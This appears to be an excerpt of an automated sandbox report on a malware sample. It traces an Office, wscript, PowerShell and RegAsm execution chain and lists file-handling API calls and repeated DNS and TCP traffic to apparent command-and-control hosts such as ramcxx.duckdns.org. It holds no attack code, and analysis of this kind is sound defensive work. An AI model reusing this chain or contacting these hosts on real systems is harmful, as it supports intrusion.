Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumFieldsWithName source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMemberRefs source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.ResolveTypeRef source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SaveToStream source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMethodSemantics source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeDefProps source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNestedClassProps source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMethod source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeletePinvokeMap source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetTokenFromTypeSpec source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetMethodImplFlags source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPinvokeMap source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumSignatures source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPinvokeMap source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldMarshal source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumUserStrings source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetRVA source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefinePermissionSet source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetMethodProps source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPropertyProps source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.dotnet.pdb.managed source: powershell.exe, 0000000E.00000002.473399421.0000000000339000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetUserString source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetInterfaceImplProps source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetFieldMarshal source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineTypeDef source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeDefs source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineImportMember source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumInterfaceImpls source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMemberProps source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineImportType source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: System.Collections.Generic.IEnumerable<dnlib.DotNet.Pdb.PdbScope>.GetEnumerator source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetTokenFromSig source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumEvents source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetParamForMethodIndex source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineField source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.IsGlobal source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodsWithName source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetEventProps source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 16_2_0040928E __EH_prolog,__CxxThrowException@8,FindFirstFileW,FindNextFileW,FindClose,FindClose,	16_2_0040928E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 16_2_0041C322 FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,GetLastError,FindClose,RemoveDirectoryW,FindClose,	16_2_0041C322
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 16_2_0040C388 FindFirstFileW,PathFileExistsW,FindNextFileW,FindClose,FindClose,	16_2_0040C388
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 16_2_004096A0 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose,	16_2_004096A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 16_2_00408847 __EH_prolog,FindFirstFileW,__CxxThrowException@8,FindNextFileW,FindClose,	16_2_00408847
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 16_2_00407877 FindFirstFileW,FindNextFileW,	16_2_00407877
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 16_2_0044E8F9 FindFirstFileExA,	16_2_0044E8F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 16_2_0040BB6B FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,	16_2_0040BB6B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 16_2_00419B86 FindFirstFileW,FindNextFileW,FindNextFileW,	16_2_00419B86
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 16_2_0040BD72 FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose,	16_2_0040BD72

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 16_2_00407CD2 SetEvent,GetFileAttributesW,DeleteFileW,ShellExecuteW,GetLogicalDriveStringsA,SetFileAttributesW,DeleteFileA,Sleep,StrToIntA,CreateDirectoryW,

16_2_00407CD2

Software Vulnerabilities

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Suspicious execution chain found

Source: C:\Windows\SysWOW64\wscript.exe	Child: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Child: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Source: global traffic	DNS query: name: strmr.co
Source: global traffic	DNS query: name: strmr.co
Source: global traffic	DNS query: name: strmr.co
Source: global traffic	DNS query: name: strmr.co
Source: global traffic	DNS query: name: strmr.co
Source: global traffic	DNS query: name: strmr.co
Source: global traffic	DNS query: name: strmr.co
Source: global traffic	DNS query: name: strmr.co
Source: global traffic	DNS query: name: raw.githubusercontent.com
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org
Source: global traffic	DNS query: name: ramcxx.duckdns.org

Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 172.67.179.215:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 172.67.179.215:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 172.67.179.215:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 172.67.179.215:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 172.67.179.215:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 172.67.179.215:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 172.67.179.215:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 172.67.179.215:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 172.67.179.215:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 172.67.179.215:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 172.67.179.215:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 104.21.64.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 104.21.64.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 104.21.64.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 104.21.64.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 104.21.64.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 104.21.64.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 104.21.64.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 104.21.64.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 104.21.64.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 104.21.64.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 104.21.64.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.64.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.64.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.64.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.64.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.64.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.64.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.64.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.64.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.64.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 172.67.179.215:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 172.67.179.215:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 172.67.179.215:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 172.67.179.215:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 172.67.179.215:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 172.67.179.215:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 172.67.179.215:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 172.67.179.215:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 172.67.179.215:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 172.67.179.215:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 172.67.179.215:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 172.67.179.215:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 172.67.179.215:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 172.67.179.215:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 172.67.179.215:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 172.67.179.215:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 172.67.179.215:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 172.67.179.215:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 172.67.179.215:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 172.67.179.215:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 172.67.179.215:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 172.67.179.215:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 172.67.179.215:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 104.21.64.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 104.21.64.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 104.21.64.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 104.21.64.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 104.21.64.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 104.21.64.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 104.21.64.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 104.21.64.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 104.21.64.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 185.199.108.133:443
